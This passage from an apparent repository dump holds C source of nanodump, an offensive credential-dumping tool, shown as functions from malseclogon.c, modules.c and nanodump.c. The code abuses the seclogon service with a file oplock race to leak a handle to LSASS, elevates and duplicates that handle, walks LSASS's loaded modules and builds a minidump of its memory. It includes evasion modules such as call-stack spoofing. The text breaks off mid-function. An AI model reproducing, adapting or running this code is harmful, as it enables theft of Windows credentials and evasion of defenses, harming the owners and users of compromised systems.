 success = CreateProcessWithTokenW(\n                handle_list->Handle[i],\n                0,\n                NULL,\n                cmdline,\n                0,\n                NULL,\n                NULL,\n                (LPSTARTUPINFOW)&startInfo,\n                &procInfo);\n            if (procInfo.hProcess)\n                NtClose(procInfo.hProcess);\n            if (procInfo.hThread)\n                NtClose(procInfo.hThread);\n            if (success)\n            {\n                break;\n            }\n        }\n    }\n    else\n    {\n        CreateProcessWithLogonW(\n            NANODUMP_USER,\n            NANODUMP_DOMAIN,\n            NANODUMP_PASSWD,\n            LOGON_NETCREDENTIALS_ONLY,\n            NULL,\n            cmdline,\n            0,\n            NULL,\n            NULL,\n            (LPSTARTUPINFOW)&startInfo,\n            &procInfo);\n        if (procInfo.hProcess)\n            NtClose(procInfo.hProcess);\n        if (procInfo.hThread)\n            NtClose(procInfo.hThread);\n    }\n\nend:\n    if (handle_list)\n    {\n        DATA_FREE(handle_list, sizeof(HANDLE_LIST));\n    }\n\n\n    // since the thread is already finishing, no need to restore our PID\n\n    // terminate this thread\n    NtTerminateThread(NULL, 0);\n\n    return;\n}\n\nDWORD WINAPI thread_seclogon_lock(\n    IN LPVOID lpParam)\n{\n    PTHREAD_PARAMETERS thread_params = (PTHREAD_PARAMETERS)lpParam;\n    if (!thread_params)\n        return 1;\n\n    malseclogon_trigger_lock(\n        thread_params->pid,\n        thread_params->cmdline,\n        thread_params->file_lock_was_triggered);\n\n    return 0;\n}\n\nBOOL leak_lsass_handle_in_seclogon_with_race_condition(\n    IN DWORD lsass_pid,\n    OUT PHANDLE hEvent,\n    OUT PHANDLE hFile)\n{\n    BOOL ret_val = FALSE;\n    HANDLE hThread = NULL;\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock = { 0 };\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    UNICODE_STRING file_to_lock = { 0 };\n    file_to_lock.Buffer = L\"\\\\??\\\\C:\\\\Windows\\\\System32\\\\license.rtf\";\n    file_to_lock.Length = (USHORT)wcslen(file_to_lock.Buffer) * sizeof(WCHAR);\n    file_to_lock.MaximumLength = file_to_lock.Length + 2;\n    THREAD_PARAMETERS thread_params = { 0 };\n    OVERLAPPED overlapped = { 0 };\n    REQUEST_OPLOCK_INPUT_BUFFER inputBuffer = { 0 };\n    REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer = { 0 };\n    inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\n    inputBuffer.StructureLength = sizeof(inputBuffer);\n    inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\n    inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\n    outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\n    outputBuffer.StructureLength = sizeof(outputBuffer);\n    BOOL file_lock_was_triggered = FALSE;\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        &file_to_lock,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n\n    // get a handle to the target file\n    status = NtCreateFile(\n        hFile,\n        FILE_GENERIC_READ,\n        &objAttr,\n        &IoStatusBlock,\n        NULL,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_OPEN,\n        FILE_NON_DIRECTORY_FILE,\n        NULL,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateFile\", status);\n        goto end;\n    }\n\n    DPRINT(\"hFile: 0x%p\", *hFile);\n\n    // create an event for synchronization\n    status = NtCreateEvent(\n        hEvent,\n        GENERIC_ALL,\n        NULL,\n        SynchronizationEvent,\n        FALSE);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateEvent\", status);\n        goto end;\n    }\n\n    DPRINT(\"hEvent: 0x%p\", *hEvent);\n\n    overlapped.hEvent = *hEvent;\n\n    // create a lock on the target file\n    status = _NtFsControlFile(\n        *hFile,\n        *hEvent,\n        NULL,\n        &overlapped,\n        (PIO_STATUS_BLOCK)&overlapped,\n        FSCTL_REQUEST_OPLOCK,\n        &inputBuffer,\n        sizeof(inputBuffer),\n        &outputBuffer,\n        sizeof(outputBuffer));\n    if (status != STATUS_PENDING)\n    {\n        syscall_failed(\"NtFsControlFile\", status);\n        goto end;\n    }\n\n    thread_params.pid = lsass_pid;\n    thread_params.cmdline = &file_to_lock.Buffer[4];\n    thread_params.file_lock_was_triggered = &file_lock_was_triggered;\n\n    /*\n     * we need to run CreateProcessWithToken() in a separate thread\n     * because the file lock would also lock our thread\n     */\n    status = NtCreateThreadEx(\n        &hThread,\n        THREAD_ALL_ACCESS,\n        NULL,\n        NtCurrentProcess(),\n        thread_seclogon_lock,\n        &thread_params,\n        0,\n        0,\n        0,\n        0,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateThreadEx\", status);\n        goto end;\n    }\n\n    // wait until seclogon accesses the target file\n    status = NtWaitForSingleObject(\n        *hEvent,\n        FALSE,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWaitForSingleObject\", status);\n        goto end;\n    }\n\n    // if we are here, then seclogon triggered the lock\n    file_lock_was_triggered = TRUE;\n\n    ret_val = TRUE;\n\n    DPRINT(\"Seclogon thread locked. An lsass handle will be available inside the seclogon process!\");\n\nend:\n    if (hThread)\n        NtClose(hThread);\n\n    return ret_val;\n}\n\nDWORD get_pid_using_file_path(\n    IN LPWSTR file_path)\n{\n    DWORD pid = 0;\n    HANDLE hFile = NULL;\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock = { 0 };\n    UNICODE_STRING ustr_file_path = { 0 };\n    ustr_file_path.Buffer = file_path;\n    ustr_file_path.Length = (USHORT)wcslen(ustr_file_path.Buffer) * sizeof(WCHAR);\n    ustr_file_path.MaximumLength = ustr_file_path.Length + 2;\n    PFILE_PROCESS_IDS_USING_FILE_INFORMATION pfpiufi = NULL;\n    ULONG pfpiufiLen = 0;\n    PULONG_PTR processIdListPtr = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        &ustr_file_path,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n\n    status = NtCreateFile(\n        &hFile,\n        FILE_GENERIC_READ,\n        &objAttr,\n        &IoStatusBlock,\n        NULL,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_OPEN,\n        FILE_SYNCHRONOUS_IO_NONALERT,\n        NULL,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateFile\", status);\n        goto end;\n    }\n\n    do\n    {\n        pfpiufiLen += 8192;\n        pfpiufi = intAlloc(pfpiufiLen);\n        if (!pfpiufi)\n        {\n            malloc_failed();\n            goto end;\n        }\n        memset(&IoStatusBlock, 0, sizeof(IO_STATUS_BLOCK));\n        status = NtQueryInformationFile(\n            hFile,\n            &IoStatusBlock,\n            pfpiufi,\n            pfpiufiLen,\n            (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation);\n        if (NT_SUCCESS(status))\n            break;\n\n        DATA_FREE(pfpiufi, pfpiufiLen);\n    } while (status == STATUS_INFO_LENGTH_MISMATCH);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationFile\", status);\n        goto end;\n    }\n\n    processIdListPtr = pfpiufi->ProcessIdList;\n    // we return only the first pid, it's usually the right one\n    if (pfpiufi->NumberOfProcessIdsInList >= 1)\n        pid = (DWORD)*processIdListPtr;\n\nend:\n    if (hFile)\n        NtClose(hFile);\n    if (pfpiufi)\n    {\n        DATA_FREE(pfpiufi, pfpiufiLen);\n    }\n\n    return pid;\n}\n\nDWORD get_seclogon_pid(VOID)\n{\n    DWORD seclogon_pid = 0;\n    PROCESS_INFORMATION procInfo = { 0 };\n    STARTUPINFO startInfo = { 0 };\n    CreateProcessWithTokenW_t CreateProcessWithTokenW = NULL;\n\n    seclogon_pid = get_pid_using_file_path(L\"\\\\??\\\\C:\\\\Windows\\\\System32\\\\seclogon.dll\");\n    if (!seclogon_pid)\n    {\n        DPRINT(\"Seclogon service not running, try to wake up\");\n\n        CreateProcessWithTokenW = (CreateProcessWithTokenW_t)(ULONG_PTR)get_function_address(\n            get_library_address(ADVAPI32_DLL, TRUE),\n            CreateProcessWithTokenW_SW2_HASH,\n            0);\n        if (!CreateProcessWithTokenW)\n        {\n            api_not_found(\"CreateProcessWithTokenW\");\n            return 0;\n        }\n\n        CreateProcessWithTokenW(\n            NtCurrentProcess(),\n            0,\n            NULL,\n            L\"cmd\",\n            0,\n            NULL,\n            NULL,\n            (LPSTARTUPINFOW)&startInfo,\n            &procInfo);\n\n        // try to get PID now\n        seclogon_pid = get_pid_using_file_path(L\"\\\\??\\\\C:\\\\Windows\\\\System32\\\\seclogon.dll\");\n    }\n\n    if (procInfo.dwProcessId)\n    {\n        kill_process(0, procInfo.hProcess);\n        NtClose(procInfo.hProcess);\n        NtClose(procInfo.hThread);\n    }\n\n    return seclogon_pid;\n}\n\nHANDLE malseclogon_race_condition(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN DWORD attributes)\n{\n    BOOL success = FALSE;\n    HANDLE hSeclogon = NULL;\n    HANDLE hDupedHandle = NULL;\n    PHANDLE_LIST handle_list = NULL;\n    DWORD seclogon_pid = 0;\n    HANDLE hProcess = NULL;\n    HANDLE hEvent = NULL;\n    HANDLE hFile = NULL;\n    DWORD seclogon_permissions = 0 ;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n\n    seclogon_pid = get_seclogon_pid();\n    if (!seclogon_pid)\n    {\n        DPRINT_ERR(\"Failed to find the PID of the seclogon process\");\n        goto end;\n    }\n    DPRINT(\"seclogon.dll PID: %ld\", seclogon_pid);\n\n    success = leak_lsass_handle_in_seclogon_with_race_condition(\n        lsass_pid,\n        &hEvent,\n        &hFile);\n    if (!success)\n        goto end;\n\n    /*\n     * these are the permissions used by seclogon\n     * to open a handle to the calling process\n     */\n    seclogon_permissions  = 0;\n    seclogon_permissions |= PROCESS_QUERY_INFORMATION;\n    seclogon_permissions |= PROCESS_QUERY_LIMITED_INFORMATION;\n    seclogon_permissions |= PROCESS_CREATE_PROCESS;\n    seclogon_permissions |= PROCESS_DUP_HANDLE;\n\n    // look for a handle owned by seclogon with the specified permissions\n    success = find_process_handles_in_process(\n        seclogon_pid,\n        seclogon_permissions,\n        &handle_list);\n    if (!success || !handle_list->Count)\n    {\n        PRINT_ERR(\"No process handles found in seclogon. The race condition didn't work.\");\n        goto end;\n    }\n\n    // get a handle to seclogon\n    hSeclogon = get_process_handle(\n        seclogon_pid,\n        PROCESS_DUP_HANDLE,\n        TRUE,\n        0);\n    if (!hSeclogon)\n    {\n        PRINT_ERR(\"Could not open handle to seclogon\");\n        goto end;\n    }\n    // loop over each handle owned by seclogon\n    for (DWORD i = 0; i < handle_list->Count; i++)\n    {\n        DPRINT(\"Testing handle %ld of %ld\", i + 1, handle_list->Count);\n\n        // duplicate the handle\n        hDupedHandle = NULL;\n        status = NtDuplicateObject(\n            hSeclogon,\n            handle_list->Handle[i],\n            NtCurrentProcess(),\n            &hDupedHandle,\n            0,\n            0,\n            DUPLICATE_SAME_ACCESS);\n        if (!NT_SUCCESS(status))\n        {\n            DPRINT(\"Could not duplicate handle\");\n            continue;\n        }\n\n        // if not lsass, continue\n        if (!is_lsass(hDupedHandle))\n        {\n            DPRINT(\"The handle was not from \" LSASS);\n            NtClose(hDupedHandle); hDupedHandle = NULL;\n            continue;\n        }\n\n        DPRINT(\"Found \" LSASS \" handle\");\n\n        /*\n         * we need to elevate our lsass handle\n         * so that we get the permissions we need\n         */\n        status = NtDuplicateObject(\n            hDupedHandle,\n            NtCurrentProcess(),\n            NtCurrentProcess(),\n            &hProcess,\n            permissions,\n            attributes,\n            0);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtDuplicateObject\", status);\n            goto end;\n        }\n        /*\n        // duplicating the handle is a better approach\n        hProcess = fork_process(\n            hDupedHandle,\n            attributes);\n        */\n    }\n\nend:\n    if (handle_list)\n    {\n        DATA_FREE(handle_list, sizeof(HANDLE_LIST));\n    }\n    if (hSeclogon)\n        NtClose(hSeclogon);\n    if (hDupedHandle)\n        NtClose(hDupedHandle);\n    if (hEvent)\n        NtClose(hEvent);\n    if (hFile)\n        NtClose(hFile);\n\n    return hProcess;\n}\n\n#ifdef EXE\n\nHANDLE malseclogon_stage_2(VOID)\n{\n    BOOL found_handle = FALSE;\n    HANDLE hProcess = NULL;\n    for (DWORD leakedHandle = 4; leakedHandle <= 4 * 6; leakedHandle = leakedHandle + 4)\n    {\n        if (found_handle || !is_lsass((HANDLE)(ULONG_PTR)leakedHandle))\n        {\n            NtClose((HANDLE)(ULONG_PTR)leakedHandle);\n            continue;\n        }\n        // found LSASS handle\n        hProcess = (HANDLE)(ULONG_PTR)leakedHandle;\n        // close all the other handles\n        found_handle = TRUE;\n    }\n    return hProcess;\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/modules.c",
    "content": "#include \"modules.h\"\n\nPVOID get_peb_address(\n    IN HANDLE hProcess)\n{\n#ifdef SSP\n    UNUSED(hProcess);\n    // if nanodump is running as an SSP,\n    // avoid calling NtQueryInformationProcess\n    return (PVOID)READ_MEMLOC(PEB_OFFSET);\n#else\n    PROCESS_BASIC_INFORMATION basic_info = { 0 };\n    basic_info.PebBaseAddress = 0;\n    PROCESSINFOCLASS ProcessInformationClass = 0;\n    NTSTATUS status = NtQueryInformationProcess(\n        hProcess,\n        ProcessInformationClass,\n        &basic_info,\n        sizeof(PROCESS_BASIC_INFORMATION),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationProcess\", status);\n        DPRINT_ERR(\"Could not get the PEB of the process\");\n        return 0;\n    }\n\n    return basic_info.PebBaseAddress;\n#endif\n}\n\nPVOID get_module_list_address(\n    IN HANDLE hProcess,\n    IN BOOL is_lsass)\n{\n    PVOID peb_address, ldr_pointer, ldr_address, module_list_pointer, ldr_entry_address;\n\n    peb_address = get_peb_address(hProcess);\n    if (!peb_address)\n        return NULL;\n\n    ldr_pointer = RVA(PVOID, peb_address, LDR_POINTER_OFFSET);\n\n    ldr_address = 0;\n    NTSTATUS status = NtReadVirtualMemory(\n        hProcess,\n        (PVOID)ldr_pointer,\n        &ldr_address,\n        sizeof(PVOID),\n        NULL);\n    if (!NT_SUCCESS(status) && !is_lsass)\n    {\n        // failed to read the memory of some process, simply continue\n        return NULL;\n    }\n    if (!NT_SUCCESS(status) && is_lsass)\n    {\n        if (status == STATUS_ACCESS_DENIED)\n        {\n            PRINT_ERR(\"Failed to read \" LSASS \", status: STATUS_ACCESS_DENIED\");\n        }\n        else\n        {\n            PRINT_ERR(\"Failed to read \" LSASS \", status: 0x%lx\", status);\n        }\n        return NULL;\n    }\n\n    module_list_pointer = RVA(PVOID, ldr_address, MODULE_LIST_POINTER_OFFSET);\n\n    ldr_entry_address = NULL;\n    status = NtReadVirtualMemory(\n        hProcess,\n        (PVOID)module_list_pointer,\n        &ldr_entry_address,\n        sizeof(PVOID),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtReadVirtualMemory\", status);\n        DPRINT_ERR(\"Could not get the address of the module list\");\n        return NULL;\n    }\n    DPRINT(\n        \"Got the address of the module list: 0x%p\",\n        ldr_entry_address);\n    return ldr_entry_address;\n}\n\nPmodule_info add_new_module(\n    IN HANDLE hProcess,\n    IN struct LDR_DATA_TABLE_ENTRY* ldr_entry)\n{\n    DWORD name_size;\n    Pmodule_info new_module = intAlloc(sizeof(module_info));\n    if (!new_module)\n    {\n        malloc_failed();\n        DPRINT_ERR(\"Could not add new module\");\n        return NULL;\n    }\n    new_module->next = NULL;\n    new_module->dll_base = (ULONG64)(ULONG_PTR)ldr_entry->DllBase;\n    new_module->size_of_image = ldr_entry->SizeOfImage;\n    new_module->TimeDateStamp = ldr_entry->TimeDateStamp;\n    new_module->CheckSum = ldr_entry->CheckSum;\n\n    name_size = ldr_entry->FullDllName.Length > sizeof(new_module->dll_name) ?\n        sizeof(new_module->dll_name) : ldr_entry->FullDllName.Length;\n\n    // read the full path of the DLL\n    NTSTATUS status = NtReadVirtualMemory(\n        hProcess,\n        (PVOID)ldr_entry->FullDllName.Buffer,\n        new_module->dll_name,\n        name_size,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtReadVirtualMemory\", status);\n        DPRINT_ERR(\"Could not add new module\");\n        return NULL;\n    }\n    return new_module;\n}\n\nBOOL read_ldr_entry(\n    IN HANDLE hProcess,\n    IN PVOID ldr_entry_address,\n    OUT struct LDR_DATA_TABLE_ENTRY* ldr_entry,\n    OUT wchar_t* base_dll_name)\n{\n    // read the entry\n    NTSTATUS status = NtReadVirtualMemory(\n        hProcess,\n        ldr_entry_address,\n        ldr_entry,\n        sizeof(struct LDR_DATA_TABLE_ENTRY),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtReadVirtualMemory\", status);\n        DPRINT_ERR(\n            \"Could not read module information at: 0x%p\",\n            ldr_entry_address);\n        return FALSE;\n    }\n    // initialize base_dll_name with all null-bytes\n    memset(base_dll_name, 0, MAX_PATH);\n    // read the dll name\n    status = NtReadVirtualMemory(\n        hProcess,\n        (PVOID)ldr_entry->BaseDllName.Buffer,\n        base_dll_name,\n        ldr_entry->BaseDllName.Length,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtReadVirtualMemory\", status);\n        DPRINT_ERR(\n            \"Could not read module information at: 0x%p\",\n            ldr_entry->BaseDllName.Buffer);\n        return FALSE;\n    }\n    return TRUE;\n}\n\nPmodule_info find_modules(\n    IN HANDLE hProcess,\n    IN wchar_t* important_modules[],\n    IN int number_of_important_modules,\n    IN BOOL is_lsass)\n{\n    // module list\n    Pmodule_info module_list = NULL;\n\n    // find the address of LDR_DATA_TABLE_ENTRY\n    PVOID ldr_entry_address = get_module_list_address(\n        hProcess,\n        is_lsass);\n    if (!ldr_entry_address)\n        return NULL;\n\n    PVOID first_ldr_entry_address = NULL;\n    SHORT dlls_found = 0;\n    BOOL lsasrv_found = FALSE;\n    struct LDR_DATA_TABLE_ENTRY ldr_entry;\n    wchar_t base_dll_name[MAX_PATH];\n    // loop over each DLL loaded, looking for the important modules\n    while (dlls_found < number_of_important_modules)\n    {\n        // read the current entry\n        BOOL success = read_ldr_entry(\n            hProcess,\n            ldr_entry_address,\n            &ldr_entry,\n            base_dll_name);\n        if (!success)\n            return NULL;\n\n        if (!first_ldr_entry_address)\n            first_ldr_entry_address = ldr_entry.InLoadOrderLinks.Blink;\n\n        // loop over each important module and see if we have a match\n        for (int i = 0; i < number_of_important_modules; i++)\n        {\n            // compare the DLLs' name, case insensitive\n            if (!_wcsicmp(important_modules[i], base_dll_name))\n            {\n                DPRINT(\n                    \"Found %ls at 0x%p\",\n                    base_dll_name,\n                    ldr_entry_address);\n                // check if the DLL is 'lsasrv.dll' so that we know the process is indeed LSASS\n                if (!_wcsicmp(important_modules[i], LSASRV_DLL))\n                    lsasrv_found = TRUE;\n\n                // add the new module to the linked list\n                Pmodule_info new_module = add_new_module(\n                    hProcess,\n                    &ldr_entry);\n                if (!new_module)\n                    return NULL;\n\n                if (!module_list)\n                {\n                    module_list = new_module;\n                }\n                else\n                {\n                    Pmodule_info last_module = module_list;\n                    while (last_module->next)\n                        last_module = last_module->next;\n                    last_module->next = new_module;\n                }\n                dlls_found++;\n                break;\n            }\n        }\n\n        // set the next entry as the current entry\n        ldr_entry_address = ldr_entry.InLoadOrderLinks.Flink;\n        // if we are back at the beginning, break\n        if (ldr_entry_address == first_ldr_entry_address)\n            break;\n    }\n    // the LSASS process should always have 'lsasrv.dll' loaded\n    if (is_lsass && !lsasrv_found)\n    {\n        PRINT_ERR(\"The selected process is not \" LSASS \".\");\n        return NULL;\n    }\n    return module_list;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/nanodump.c",
    "content": "#include \"nanodump.h\"\n#ifdef BOF\n#include \"output.h\"\n#include \"utils.c\"\n#include \"handle.c\"\n#include \"modules.c\"\n#include \"syscalls.c\"\n#include \"token_priv.c\"\n#include \"malseclogon.c\"\n#include \"werfault.c\"\n#include \"spoof_callstack.c\"\n#include \"shtinkering.c\"\n#include \"impersonate.c\"\n#include \"hw_breakpoint.c\"\n#endif\n\nVOID writeat(\n    IN Pdump_context dc,\n    IN ULONG32 rva,\n    IN const PVOID data,\n    IN unsigned size)\n{\n    PVOID dst = RVA(\n        PVOID,\n        dc->BaseAddress,\n        rva);\n    memcpy(dst, data, size);\n}\n\nBOOL append(\n    IN Pdump_context dc,\n    IN const PVOID data,\n    IN ULONG32 size)\n{\n    ULONG32 new_rva = dc->rva + size;\n    if (new_rva < dc->rva)\n    {\n        PRINT_ERR(\"The dump size exceeds the 32-bit address space!\");\n        return FALSE;\n    }\n    else if (new_rva >= dc->DumpMaxSize)\n    {\n        PRINT_ERR(\"The dump is too big, please increase DUMP_MAX_SIZE.\");\n        return FALSE;\n    }\n    else\n    {\n        writeat(dc, dc->rva, data, size);\n        dc->rva = new_rva;\n        return TRUE;\n    }\n}\n\nBOOL write_header(\n    IN Pdump_context dc)\n{\n    DPRINT(\"Writing header\");\n    MiniDumpHeader header = { 0 };\n    DPRINT(\"Signature: 0x%x\", dc->Signature);\n    header.Signature = dc->Signature;\n    DPRINT(\"Version: %hu\", dc->Version);\n    header.Version = dc->Version;\n    DPRINT(\"ImplementationVersion: %hu\", dc->ImplementationVersion);\n    header.ImplementationVersion = dc->ImplementationVersion;\n    header.NumberOfStreams = 3; // we only need: SystemInfoStream, ModuleListStream and Memory64ListStream\n    header.StreamDirectoryRva = SIZE_OF_HEADER;\n    header.CheckSum = 0;\n    header.Reserved = 0;\n    header.TimeDateStamp = 0;\n    header.Flags = MiniDumpNormal;\n\n    char header_bytes[SIZE_OF_HEADER] = { 0 };\n\n    DWORD offset = 0;\n    memcpy(header_bytes + offset, &header.Signature, 4); offset += 4;\n    memcpy(header_bytes + offset, &header.Version, 2); offset += 2;\n    memcpy(header_bytes + offset, &header.ImplementationVersion, 2); offset += 2;\n    memcpy(header_bytes + offset, &header.NumberOfStreams, 4); offset += 4;\n    memcpy(header_bytes + offset, &header.StreamDirectoryRva, 4); offset += 4;\n    memcpy(header_bytes + offset, &header.CheckSum, 4); offset += 4;\n    memcpy(header_bytes + offset, &header.Reserved, 4); offset += 4;\n    memcpy(header_bytes + offset, &header.TimeDateStamp, 4); offset += 4;\n    memcpy(header_bytes + offset, &header.Flags, 4);\n\n    if (!append(dc, header_bytes, SIZE_OF_HEADER))\n    {\n        DPRINT_ERR(\"Failed to write header\");\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL write_directory(\n    IN Pdump_context dc,\n    IN MiniDumpDirectory directory)\n{\n    BYTE directory_bytes[SIZE_OF_DIRECTORY] = { 0 };\n    DWORD offset = 0;\n    memcpy(directory_bytes + offset, &directory.StreamType, 4); offset += 4;\n    memcpy(directory_bytes + offset, &directory.DataSize, 4); offset += 4;\n    memcpy(directory_bytes + offset, &directory.Rva, 4);\n    if (!append(dc, directory_bytes, sizeof(directory_bytes)))\n        return FALSE;\n\n    return TRUE;\n}\n\nBOOL write_directories(\n    IN Pdump_context dc)\n{\n    DPRINT(\"Writing directory: SystemInfoStream\");\n    MiniDumpDirectory system_info_directory = { 0 };\n    system_info_directory.StreamType = SystemInfoStream;\n    system_info_directory.DataSize = 0; // this is calculated and written later\n    system_info_directory.Rva = 0; // this is calculated and written later\n    if (!write_directory(dc, system_info_directory))\n    {\n        DPRINT_ERR(\"Failed to write directory\");\n        return FALSE;\n    }\n\n    DPRINT(\"Writing directory: ModuleListStream\");\n    MiniDumpDirectory module_list_directory = { 0 };\n    module_list_directory.StreamType = ModuleListStream;\n    module_list_directory.DataSize = 0; // this is calculated and written later\n    module_list_directory.Rva = 0; // this is calculated and written later\n    if (!write_directory(dc, module_list_directory))\n    {\n        DPRINT_ERR(\"Failed to write directory\");\n        return FALSE;\n    }\n\n    DPRINT(\"Writing directory: Memory64ListStream\");\n    MiniDumpDirectory memory64_list_directory = { 0 };\n    memory64_list_directory.StreamType = Memory64ListStream;\n    memory64_list_directory.DataSize = 0; // this is calculated and written later\n    memory64_list_directory.Rva = 0; // this is calculated and written later\n    if (!write_directory(dc, memory64_list_directory))\n    {\n        DPRINT_ERR(\"Failed to write directory\");\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL write_system_info_stream(\n    IN Pdump_context dc)\n{\n    MiniDumpSystemInfo system_info = { 0 };\n\n    DPRINT(\"Writing SystemInfoStream\");\n\n    // read the version and build numbers from the PEB\n    PVOID pPeb;\n    PULONG32 OSMajorVersion;\n    PULONG32 OSMinorVersion;\n    PUSHORT OSBuildNumber;\n    PULONG32 OSPlatformId;\n    PUNICODE_STRING CSDVersion;\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    OSMajorVersion = RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n    OSMinorVersion = RVA(PULONG32, pPeb, OSMINORVERSION_OFFSET);\n    OSBuildNumber = RVA(PUSHORT, pPeb, OSBUILDNUMBER_OFFSET);\n    OSPlatformId = RVA(PULONG32, pPeb, OSPLATFORMID_OFFSET);\n    CSDVersion = RVA(PUNICODE_STRING, pPeb, CSDVERSION_OFFSET);\n    system_info.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;\n    DPRINT(\"OSMajorVersion: %d\", *OSMajorVersion);\n    DPRINT(\"OSMinorVersion: %d\", *OSMinorVersion);\n    DPRINT(\"OSBuildNumber: %d\", *OSBuildNumber);\n    DPRINT(\"CSDVersion: %ls\", CSDVersion->Buffer);\n\n    system_info.ProcessorLevel = 0;\n    system_info.ProcessorRevision = 0;\n    system_info.NumberOfProcessors = 0;\n    // RtlGetVersion -> wProductType\n    system_info.ProductType = VER_NT_WORKSTATION;\n    //system_info.ProductType = VER_NT_DOMAIN_CONTROLLER;\n    //system_info.ProductType = VER_NT_SERVER;\n    system_info.MajorVersion = *OSMajorVersion;\n    system_info.MinorVersion = *OSMinorVersion;\n    system_info.BuildNumber = *OSBuildNumber;\n    system_info.PlatformId = *OSPlatformId;\n    system_info.CSDVersionRva = 0; // this is calculated and written later\n    system_info.SuiteMask = 0;\n    system_info.Reserved2 = 0;\n#if _WIN64\n    system_info.ProcessorFeatures1 = 0;\n    system_info.ProcessorFeatures2 = 0;\n#else\n    system_info.VendorId1 = 0;\n    system_info.VendorId2 = 0;\n    system_info.VendorId3 = 0;\n    system_info.VersionInformation = 0;\n    system_info.FeatureInformation = 0;\n    system_info.AMDExtendedCpuFeatures = 0;\n#endif\n\n    ULONG32 stream_size = SIZE_OF_SYSTEM_INFO_STREAM;\n    char system_info_bytes[SIZE_OF_SYSTEM_INFO_STREAM] = { 0 };\n\n    DWORD offset = 0;\n    memcpy(system_info_bytes + offset, &system_info.ProcessorArchitecture, 2); offset += 2;\n    memcpy(system_info_bytes + offset, &system_info.ProcessorLevel, 2); offset += 2;\n    memcpy(system_info_bytes + offset, &system_info.ProcessorRevision, 2); offset += 2;\n    memcpy(system_info_bytes + offset, &system_info.NumberOfProcessors, 1); offset += 1;\n    memcpy(system_info_bytes + offset, &system_info.ProductType, 1); offset += 1;\n    memcpy(system_info_bytes + offset, &system_info.MajorVersion, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.MinorVersion, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.BuildNumber, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.PlatformId, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.CSDVersionRva, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.SuiteMask, 2); offset += 2;\n    memcpy(system_info_bytes + offset, &system_info.Reserved2, 2); offset += 2;\n#if _WIN64\n    memcpy(system_info_bytes + offset, &system_info.ProcessorFeatures1, 8); offset += 8;\n    memcpy(system_info_bytes + offset, &system_info.ProcessorFeatures2, 8);\n#else\n    memcpy(system_info_bytes + offset, &system_info.VendorId1, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.VendorId2, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.VendorId3, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.VersionInformation, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.FeatureInformation, 4); offset += 4;\n    memcpy(system_info_bytes + offset, &system_info.AMDExtendedCpuFeatures, 4);\n#endif\n\n    ULONG32 stream_rva = dc->rva;\n    if (!append(dc, system_info_bytes, stream_size))\n    {\n        DPRINT_ERR(\"Failed to write the SystemInfoStream\");\n        return FALSE;\n    }\n\n    // write our length in the MiniDumpSystemInfo directory\n    writeat(dc, SIZE_OF_HEADER + 4, &stream_size, 4); // header + streamType\n\n    // write our RVA in the MiniDumpSystemInfo directory\n    writeat(dc, SIZE_OF_HEADER + 4 + 4, &stream_rva, 4); // header + streamType + Location.DataSize\n\n    // write the service pack\n    ULONG32 sp_rva = dc->rva;\n    ULONG32 Length = CSDVersion->Length;\n    // write the length\n    if (!append(dc, &Length, 4))\n    {\n        DPRINT_ERR(\"Failed to write the SystemInfoStream\");\n        return FALSE;\n    }\n    // write the service pack name\n    if (!append(dc, CSDVersion->Buffer, CSDVersion->Length))\n    {\n        DPRINT_ERR(\"Failed to write the SystemInfoStream\");\n   